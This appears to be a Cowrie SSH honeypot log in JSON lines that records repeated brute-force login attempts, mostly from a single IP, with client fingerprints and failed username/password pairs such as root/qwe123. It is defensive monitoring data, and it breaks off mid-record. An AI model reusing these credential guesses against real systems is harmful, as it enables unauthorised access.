{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:49.998854Z","src_ip":"5.196.136.131","session":"b5b7c12e0c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:50.075854Z","src_ip":"5.196.136.131","session":"b5b7c12e0c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:50.306770Z","src_ip":"5.196.136.131","session":"b5b7c12e0c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:50.396667Z","src_ip":"46.99.188.194","session":"d140a2f2019e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:51.386143Z","src_ip":"5.196.136.131","session":"b5b7c12e0c5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41188,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a34572b8502","protocol":"ssh","message":"New connection: 5.196.136.131:41188 (10.17.0.5:22) [session: 6a34572b8502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:54.424347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:54.428233Z","src_ip":"5.196.136.131","session":"6a34572b8502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:54.508537Z","src_ip":"5.196.136.131","session":"6a34572b8502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:54.741443Z","src_ip":"5.196.136.131","session":"6a34572b8502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:55.821645Z","src_ip":"5.196.136.131","session":"6a34572b8502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":45551,"dst_ip":"10.17.0.5","dst_port":22,"session":"eabbef228727","protocol":"ssh","message":"New connection: 5.196.136.131:45551 (10.17.0.5:22) [session: eabbef228727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:58.834352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:58.837866Z","src_ip":"5.196.136.131","session":"eabbef228727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:58.913361Z","src_ip":"5.196.136.131","session":"eabbef228727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:29:59.141875Z","src_ip":"5.196.136.131","session":"eabbef228727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:00.221023Z","src_ip":"5.196.136.131","session":"eabbef228727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":41522,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f1f9839b6eb","protocol":"ssh","message":"New connection: 5.196.136.131:41522 (10.17.0.5:22) [session: 1f1f9839b6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:03.250253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:03.258188Z","src_ip":"5.196.136.131","session":"1f1f9839b6eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:03.334864Z","src_ip":"5.196.136.131","session":"1f1f9839b6eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:03.568804Z","src_ip":"5.196.136.131","session":"1f1f9839b6eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:04.655602Z","src_ip":"5.196.136.131","session":"1f1f9839b6eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":44021,"dst_ip":"10.17.0.5","dst_port":22,"session":"91aed174bb1b","protocol":"ssh","message":"New connection: 5.196.136.131:44021 (10.17.0.5:22) [session: 91aed174bb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:07.708026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:07.712986Z","src_ip":"5.196.136.131","session":"91aed174bb1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:07.791011Z","src_ip":"5.196.136.131","session":"91aed174bb1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:08.023501Z","src_ip":"5.196.136.131","session":"91aed174bb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:09.103825Z","src_ip":"5.196.136.131","session":"91aed174bb1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50465,"dst_ip":"10.17.0.5","dst_port":22,"session":"093d07f3012f","protocol":"ssh","message":"New connection: 5.196.136.131:50465 (10.17.0.5:22) [session: 093d07f3012f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:12.276130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:12.284757Z","src_ip":"5.196.136.131","session":"093d07f3012f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:12.360518Z","src_ip":"5.196.136.131","session":"093d07f3012f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:12.594900Z","src_ip":"5.196.136.131","session":"093d07f3012f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:13.674673Z","src_ip":"5.196.136.131","session":"093d07f3012f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54834,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bef5ef10c34","protocol":"ssh","message":"New connection: 5.196.136.131:54834 (10.17.0.5:22) [session: 6bef5ef10c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:16.642333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:16.646321Z","src_ip":"5.196.136.131","session":"6bef5ef10c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:16.749586Z","src_ip":"5.196.136.131","session":"6bef5ef10c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:16.981702Z","src_ip":"5.196.136.131","session":"6bef5ef10c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:18.060242Z","src_ip":"5.196.136.131","session":"6bef5ef10c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19580,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3de16ff6751","protocol":"ssh","message":"New connection: 5.196.136.131:19580 (10.17.0.5:22) [session: e3de16ff6751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:21.122921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:21.130856Z","src_ip":"5.196.136.131","session":"e3de16ff6751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:21.209872Z","src_ip":"5.196.136.131","session":"e3de16ff6751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:21.461279Z","src_ip":"5.196.136.131","session":"e3de16ff6751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:22.543693Z","src_ip":"5.196.136.131","session":"e3de16ff6751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.49.6.37","src_port":45574,"dst_ip":"10.17.0.5","dst_port":22,"session":"f44d2bdc3247","protocol":"ssh","message":"New connection: 110.49.6.37:45574 (10.17.0.5:22) [session: f44d2bdc3247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:23.596830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:30:23.600449Z","src_ip":"110.49.6.37","session":"f44d2bdc3247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-